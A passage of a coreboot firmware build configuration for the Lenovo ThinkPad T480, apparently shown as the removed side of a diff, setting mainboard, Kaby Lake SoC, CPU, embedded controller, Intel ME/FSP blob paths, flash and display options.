CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_TOPTON is not set -# CONFIG_VENDOR_UP is not set -# CONFIG_VENDOR_VIA is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="T480" -CONFIG_MAINBOARD_PART_NUMBER="T480" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/sklkbl_thinkpad" -CONFIG_VGA_BIOS_ID="8086,0406" -CONFIG_DIMM_MAX=2 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" -CONFIG_CBFS_SIZE=0xEEC000 -# CONFIG_CONSOLE_SERIAL is not set -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y -CONFIG_MAX_CPUS=8 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_UART_FOR_CONSOLE=0 -CONFIG_VARIANT_DIR="t480" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -# CONFIG_VGA_BIOS is not set -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -# CONFIG_FATAL_ASSERTS is not set -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="T480" -# CONFIG_CONSOLE_POST is not set -CONFIG_MAX_SOCKET=1 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_USE_LEGACY_8254_TIMER=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -# CONFIG_DRIVERS_INTEL_WIFI is not set -CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx80/ifd.bin" -CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx80/me.bin" -CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx80/gbe.bin" -CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set -CONFIG_HAVE_IFD_BIN=y -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set -# CONFIG_BOARD_LENOVO_M920Q is not set -# CONFIG_BOARD_LENOVO_S230U is not set -CONFIG_BOARD_LENOVO_T480=y -# CONFIG_BOARD_LENOVO_T480S is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y -# CONFIG_LENOVO_TBFW_BIN= is not set -CONFIG_TTYS0_BAUD=115200 -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x100000 -CONFIG_EC_GPE_SCI=0x50 -CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" -CONFIG_EC_STARLABS_BATTERY_TYPE="LION" -CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" -CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="@BLOB_DIR@/kabylake/Fsp_M.fd" -CONFIG_FSP_S_FILE="@BLOB_DIR@/kabylake/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="sklkbl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" -CONFIG_SOC_INTEL_COMMON_DEBUG_CONSENT=0 -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_FSP_PUBLISH_MBP_HOB=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_MAX_HECI_DEVICES=5 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y -CONFIG_SOC_INTEL_KABYLAKE=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -# CONFIG_FSP_HYPERTHREADING is not set -# CONFIG_INTEL_KEYLOCKER is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_GFX_HAVE_DDI_A_BIFURCATION=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SA_ENABLE_DPR=y -CONFIG_HAVE_CAPID_A_REGISTER=y -CONFIG_HAVE_BDSM_BGSM_REGISTER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_MMA is not set -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_H8_HAS_PRIMARY_FN_KEYS=y -CONFIG_H8_HAS_LEDLOGO=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# -CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y -CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202111_VERSION=202111 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_202305_VERSION=202305 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 -CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 -CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 -CONFIG_DEFAULT_EBDA_SIZE=0x400 -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set -CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y -CONFIG_BOOTSPLASH=y -CONFIG_DEFAULT_SCREEN_ROTATION_NONE=y -# CONFIG_DEFAULT_SCREEN_ROTATION_90 is not set -# CONFIG_DEFAULT_SCREEN_ROTATION_180 is not set -# CONFIG_DEFAULT_SCREEN_ROTATION_270 is not set -CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_DRIVERS_EFI_FW_INFO is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_DRIVERS_OPTION_CFR is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_DRIVERS_UART=y -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -# CONFIG_BUILDING_WITH_DEBUG_FSP is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y 